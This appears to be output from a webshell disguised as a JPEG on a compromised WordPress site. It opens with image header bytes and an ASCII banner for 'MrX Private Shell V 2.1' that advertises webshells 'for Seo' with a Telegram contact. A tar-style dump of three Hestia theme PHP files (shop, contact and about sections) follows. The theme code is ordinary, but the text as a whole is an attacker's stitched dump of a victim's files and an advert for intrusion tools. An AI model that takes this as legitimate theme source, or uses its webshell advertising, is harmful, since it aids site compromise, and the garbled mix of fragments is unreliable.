����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
class-hestia-shop-section.php 0000666 00000023313 15221335515 0012256 0 ustar 00 <?php
/**
* The Features Section
*
* @package Hestia
*/
/**
* Class Hestia_Features_Section
*/
class Hestia_Shop_Section extends Hestia_Abstract_Main {
/**
* Initialize Shop Section
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 20, 'hestia_shop' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_shop_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_shop_section', false );
}
/**
* Shop section content.
*
* @since Hestia 1.0
* @modified 1.1.51
*
* @param bool $is_shortcode flag used if section is called via a shortcode.
*/
public function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked or it doesn't have any content.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_shop_hide', false );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style = 'style="display: none"';
} else {
return;
}
}
if ( ! class_exists( 'WooCommerce', false ) ) {
return;
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_shop_subtitle = get_theme_mod( 'hestia_shop_subtitle', sprintf( __( 'Change this subtitle in %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_shop_subtitle' ) ), __( 'customizer', 'hestia' ) ) ) );
} else {
$hestia_shop_subtitle = get_theme_mod( 'hestia_shop_subtitle' );
}
$hestia_shop_title = get_theme_mod( 'hestia_shop_title', esc_html__( 'Products', 'hestia' ) );
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$wrapper_class = $is_shortcode === true ? 'is-shortcode' : 'section-gray';
$container_class = $is_shortcode === true ? '' : 'container';
hestia_before_shop_section_trigger(); ?>
<section class="woocommerce hestia-shop products <?php echo esc_attr( $wrapper_class ); ?>" id="products" data-sorder="hestia_shop" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_shop_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_shop_hide', true );
}
?>
<div class="<?php echo esc_attr( $container_class ); ?>">
<?php
hestia_top_shop_section_content_trigger();
if ( $is_shortcode === false ) {
?>
<div class="row">
<div class="col-md-8 col-md-offset-2 text-center hestia-shop-title-area">
<?php
hestia_display_customizer_shortcut( 'hestia_shop_title' );
if ( ! empty( $hestia_shop_title ) || is_customize_preview() ) :
?>
<h2 class="hestia-title"><?php echo wp_kses_post( $hestia_shop_title ); ?></h2>
<?php endif; ?>
<?php if ( ! empty( $hestia_shop_subtitle ) || is_customize_preview() ) : ?>
<h5 class="description"><?php echo hestia_sanitize_string( $hestia_shop_subtitle ); ?></h5>
<?php endif; ?>
</div>
</div>
<?php
}
$this->shop_content();
hestia_bottom_shop_section_content_trigger();
?>
</div>
<?php hestia_after_shop_section_content_trigger(); ?>
</section>
<?php
hestia_after_shop_section_trigger();
}
/**
* Get content for shop section.
*
* @since 1.1.31
* @modified 1.1.45
* @access public
*/
public function shop_content() {
?>
<div class="hestia-shop-content">
<?php
$hestia_shop_shortcode = get_theme_mod( 'hestia_shop_shortcode' );
if ( ! empty( $hestia_shop_shortcode ) ) {
echo do_shortcode( $hestia_shop_shortcode );
echo '</div>';
return;
}
$hestia_shop_items = get_theme_mod( 'hestia_shop_items', 4 );
$args = array(
'post_type' => 'product',
);
$args['posts_per_page'] = ! empty( $hestia_shop_items ) ? absint( $hestia_shop_items ) : 4;
/* Exclude hidden products from the loop */
$args['tax_query'] = array(
array(
'taxonomy' => 'product_visibility',
'field' => 'name',
'terms' => 'exclude-from-catalog',
'operator' => 'NOT IN',
),
);
$hestia_shop_categories = get_theme_mod( 'hestia_shop_categories' );
if ( ! empty( $hestia_shop_categories ) ) {
array_push(
$args['tax_query'],
array(
'taxonomy' => 'product_cat',
'field' => 'term_id',
'terms' => $hestia_shop_categories,
)
);
}
$hestia_shop_order = get_theme_mod( 'hestia_shop_order', 'DESC' );
if ( ! empty( $hestia_shop_order ) ) {
$args['order'] = $hestia_shop_order;
}
$loop = new WP_Query( $args );
if ( $loop->have_posts() ) {
$i = 1;
echo '<div class="row"' . hestia_add_animationation( 'fade-up' ) . '>';
while ( $loop->have_posts() ) {
$loop->the_post();
global $product;
global $post;
?>
<div class="col-ms-6 col-sm-6 col-md-3 shop-item">
<?php do_action( 'woocommerce_before_shop_loop_item' ); ?>
<?php
$thumbnail = function_exists( 'woocommerce_get_product_thumbnail' ) ? woocommerce_get_product_thumbnail() : '';
if ( empty( $thumbnail ) && function_exists( 'wc_placeholder_img' ) ) {
$thumbnail = wc_placeholder_img();
}
if ( ! empty( $thumbnail ) ) {
?>
<div class="card-image">
<a href="<?php echo esc_url( get_permalink() ); ?>" title="<?php the_title_attribute(); ?>">
<?php
echo $thumbnail;
do_action( 'hestia_shop_after_product_thumbnail' );
?>
</a>
<div class="ripple-container"></div>
</div>
<?php
}
?>
<div class="content">
<?php
if ( function_exists( 'wc_get_product_category_list' ) ) {
$prod_id = get_the_ID();
$product_categories = wc_get_product_category_list( $prod_id );
} else {
$product_categories = $product->get_categories();
}
if ( apply_filters( 'hestia_show_category_on_product_card', true ) && ! empty( $product_categories ) ) {
/**
* Explode categories in words by ',' separator and show only the first 2. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_category_words, then show all categories.
*/
$categories = explode( ',', $product_categories );
$nb_of_cat = apply_filters( 'hestia_shop_category_words', 2 );
$nb_of_cat = intval( $nb_of_cat );
$cat = $nb_of_cat > -1 ? hestia_limit_content( $categories, $nb_of_cat, '', false ) : $product_categories;
$allowed_html = array(
'a' => array(
'href' => array(),
'rel' => array(),
),
);
echo '<span class="category">';
echo wp_kses( $cat, $allowed_html );
echo '</span>';
}
?>
<h4 class="card-title">
<?php
/**
* Explode title in words by ' ' separator and show only the first 6 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_title_words, then show the full title
*/
$title = the_title( '', '', false );
$title_in_words = explode( ' ', $title );
$title_limit = apply_filters( 'hestia_shop_title_words', -1 );
$title_limit = intval( $title_limit );
$limited_title = $title_limit > -1 ? hestia_limit_content( $title_in_words, $title_limit, ' ' ) : $title;
?>
<a class="shop-item-title-link" href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php echo esc_html( $limited_title ); ?></a>
</h4>
<?php
if ( $post->post_excerpt ) {
/**
* Explode the excerpt in words by ' ' separator and show only the first 60 words. If the value is modified to -1 or lower in
* a function hooked at hestia_shop_excerpt_words, then use the normal behavior from woocommece ( show post excerpt )
*/
$excerpt_in_words = explode( ' ', $post->post_excerpt );
$excerpt_limit = apply_filters( 'hestia_shop_excerpt_words', 60 );
$excerpt_limit = intval( $excerpt_limit );
$limited_excerpt = $excerpt_limit > -1 ? hestia_limit_content( $excerpt_in_words, $excerpt_limit, ' ' ) : $post->post_excerpt;
?>
<div class="card-description"><?php echo wp_kses_post( apply_filters( 'woocommerce_short_description', $limited_excerpt ) ); ?></div>
<?php
}
?>
<div class="footer">
<?php
$product_price = $product->get_price_html();
if ( ! empty( $product_price ) ) {
echo '<div class="price"><h4>';
echo wp_kses(
$product_price,
array(
'span' => array(
'class' => array(),
),
'del' => array(),
)
);
echo '</h4></div>';
}
?>
<div class="stats">
<?php hestia_add_to_cart(); ?>
</div>
</div>
</div>
<?php do_action( 'woocommerce_after_shop_loop_item' ); ?>
</div>
<?php
if ( $i % 4 === 0 ) {
echo '</div><!-- /.row -->';
echo '<div class="row">';
}
$i ++;
}
wp_reset_postdata();
echo '</div>';
}
?>
</div>
<?php
}
}
class-hestia-contact-section.php 0000666 00000017456 15221335515 0012753 0 ustar 00 <?php
/**
* The Contact Section
*
* @package Hestia
*/
/**
* Class Hestia_Contact_Section
*/
class Hestia_Contact_Section extends Hestia_Abstract_Main {
/**
* Initialize section.
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 65, 'hestia_contact' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_contact_section', array( $this, 'render_section' ) );
add_action( 'after_setup_theme', array( $this, 'contact_form_legacy' ) );
}
/**
* This function executes once because we removed the default for contact form shortcode and
* it breaks form for users that didn't change that default.
*
* TODO: Remove this in the next version after the release on wp.org
*/
public function contact_form_legacy() {
if ( ! defined( 'PIRATE_FORMS_VERSION' ) ) {
return false;
}
$execute = get_option( 'hestia_contact_form_legacy' );
if ( $execute !== false ) {
return false;
}
$contact_shorcode_with_default = get_theme_mod( 'hestia_contact_form_shortcode', '[pirate_forms]' );
$contact_shorcode_without_default = get_theme_mod( 'hestia_contact_form_shortcode' );
if ( $contact_shorcode_with_default === '[pirate_forms]' && empty( $contact_shorcode_without_default ) ) {
set_theme_mod( 'hestia_contact_form_shortcode', '[pirate_forms]' );
}
update_option( 'hestia_contact_form_legacy', true );
return true;
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_contact_section', false );
}
/**
* Contact section content.
* This function can be called from a shortcode too.
* When it's called as shortcode, the title and the subtitle shouldn't appear and it should be visible all the time,
* it shouldn't matter if is disable on front page.
*
* @since Hestia 1.0
* @modified 1.1.51
*/
function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_contact_hide', false );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style .= 'display: none;';
} else {
return;
}
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_contact_subtitle = get_theme_mod( 'hestia_contact_subtitle', sprintf( __( 'Change this subtitle in %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_contact_subtitle' ) ), __( 'customizer', 'hestia' ) ) ) );
} else {
$hestia_contact_subtitle = get_theme_mod( 'hestia_contact_subtitle' );
}
$hestia_contact_title = get_theme_mod( 'hestia_contact_title', esc_html__( 'Get in Touch', 'hestia' ) );
$hestia_contact_area_title = get_theme_mod( 'hestia_contact_area_title', esc_html__( 'Contact Us', 'hestia' ) );
$hestia_contact_background = get_theme_mod( 'hestia_contact_background', apply_filters( 'hestia_contact_background_default', get_template_directory_uri() . '/assets/img/slider1.jpg' ) );
if ( ! empty( $hestia_contact_background ) ) {
$section_style .= 'background-image: url(' . esc_url( $hestia_contact_background ) . ');';
}
$section_style = 'style="' . $section_style . '"';
$contact_content_default = '';
if ( current_user_can( 'edit_theme_options' ) ) {
$contact_content_default = $this->content_default();
}
$hestia_contact_content = get_theme_mod( 'hestia_contact_content_new', $contact_content_default );
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$class_to_add = $is_shortcode === true ? 'is-shortcode ' : '';
$class_to_add .= ! empty( $hestia_contact_background ) ? 'section-image' : '';
$html_allowed_strings = array(
$hestia_contact_title,
$hestia_contact_subtitle,
$hestia_contact_content,
);
maybe_trigger_fa_loading( $html_allowed_strings );
hestia_before_contact_section_trigger(); ?>
<section class="hestia-contact contactus <?php echo esc_attr( $class_to_add ); ?>" id="contact"
data-sorder="hestia_contact" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_contact_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_contact_hide', true );
}
?>
<div class="container">
<?php hestia_top_contact_section_content_trigger(); ?>
<div class="row">
<div class="col-md-5 hestia-contact-title-area" <?php echo hestia_add_animationation( 'fade-right' ); ?>>
<?php
hestia_display_customizer_shortcut( 'hestia_contact_title' );
if ( ! empty( $hestia_contact_title ) || is_customize_preview() ) :
?>
<h2 class="hestia-title"><?php echo wp_kses_post( $hestia_contact_title ); ?></h2>
<?php endif; ?>
<?php if ( ! empty( $hestia_contact_subtitle ) || is_customize_preview() ) : ?>
<h5 class="description"><?php echo hestia_sanitize_string( $hestia_contact_subtitle ); ?></h5>
<?php endif; ?>
<?php
if ( ! empty( $hestia_contact_content ) ) {
echo '<div class="hestia-description">';
echo Hestia_Contact_Controls::sanitize_contact_field( force_balance_tags( $hestia_contact_content ) );
echo '</div>';
}
?>
</div>
<?php
$hestia_contact_form_shortcode = get_theme_mod( 'hestia_contact_form_shortcode' );
if ( ! empty( $hestia_contact_form_shortcode ) ) {
?>
<div class="col-md-5 col-md-offset-2 hestia-contact-form-col" <?php echo hestia_add_animationation( 'fade-left' ); ?>>
<div class="card card-contact">
<?php if ( ! empty( $hestia_contact_area_title ) || is_customize_preview() ) : ?>
<div class="header header-raised header-primary text-center">
<h4 class="card-title"><?php echo esc_html( $hestia_contact_area_title ); ?></h4>
</div>
<?php endif; ?>
<div class="content">
<?php
$this->render_contact_form();
?>
</div>
</div>
</div>
<?php
} elseif ( is_customize_preview() ) {
echo hestia_contact_form_placeholder();
}
?>
</div>
<?php hestia_bottom_contact_section_content_trigger(); ?>
</div>
<?php hestia_after_contact_section_content_trigger(); ?>
</section>
<?php
hestia_after_contact_section_trigger();
}
/**
* Get the contact default content
*
* @return string
*/
public function content_default() {
$html = '<div class="hestia-info info info-horizontal">
<div class="icon icon-primary">
<i class="fas fa-map-marker-alt"></i>
</div>
<div class="description">
<h4 class="info-title"> Find us at the office </h4>
<p>Bld Mihail Kogalniceanu, nr. 8,7652 Bucharest, Romania</p>
</div>
</div>
<div class="hestia-info info info-horizontal">
<div class="icon icon-primary">
<i class="fas fa-mobile-alt"></i>
</div>
<div class="description">
<h4 class="info-title">Give us a ring</h4>
<p>Michael Jordan <br> +40 762 321 762<br>Mon - Fri, 8:00-22:00</p>
</div>
</div>';
$html = Hestia_Contact_Controls::sanitize_contact_field( $html );
return apply_filters( 'hestia_contact_content_default', $html );
}
/**
* Render contact form via shortcode input.
*/
private function render_contact_form() {
$contact_form_shortcode = get_theme_mod( 'hestia_contact_form_shortcode' );
if ( empty( $contact_form_shortcode ) ) {
return;
}
echo do_shortcode( wp_kses_post( $contact_form_shortcode ) );
}
}
class-hestia-about-section.php 0000666 00000005112 15221335515 0012414 0 ustar 00 <?php
/**
* The About Section
*
* @package Hestia
*/
/**
* Class Hestia_About_Section
*/
class Hestia_About_Section extends Hestia_Abstract_Main {
/**
* Initialize About Section
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 15, 'hestia_about' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_about_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_about_section', false );
}
/**
* About section content.
*
* @since Hestia 1.0
* @modified 1.1.51
*/
public function render_section() {
{
/**
* Don't show section if Disable section is checked
*/
$section_style = '';
$hide_section = get_theme_mod( 'hestia_about_hide', false );
if ( (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style .= 'display: none;';
} else {
return;
}
}
/**
* Display overlay (section-image class) on about section only if section have a background
*/
$class_to_add = '';
$option_name = 'hestia_feature_thumbnail';
if ( is_customize_preview() ) {
$option_name = 'hestia_feature_thumbnail_buffer';
}
$hestia_frontpage_featured = get_theme_mod( $option_name, get_template_directory_uri() . '/assets/img/slider1.jpg' );
if ( ! empty( $hestia_frontpage_featured ) ) {
$class_to_add = 'section-image';
$section_style .= 'background-image: url(\'' . esc_url( $hestia_frontpage_featured ) . '\');';
}
$section_style = 'style="' . $section_style . '"';
hestia_before_about_section_trigger(); ?>
<section class="hestia-about <?php echo esc_attr( $class_to_add ); ?>" id="about" data-sorder="hestia_about" <?php echo wp_kses_post( $section_style ); ?>>
<?php hestia_display_customizer_shortcut( 'hestia_about_hide', true ); ?>
<div class="container">
<div class="row hestia-about-content">
<?php
// Show the selected frontpage content
if ( have_posts() ) {
while ( have_posts() ) {
the_post();
get_template_part( 'template-parts/content', 'frontpage' );
}
} else { // I'm not sure it's possible to have no posts when this page is shown, but WTH
get_template_part( 'template-parts/content', 'none' );
}
?>
</div>
</div>
</section>
<?php
hestia_after_about_section_trigger();
}
}
}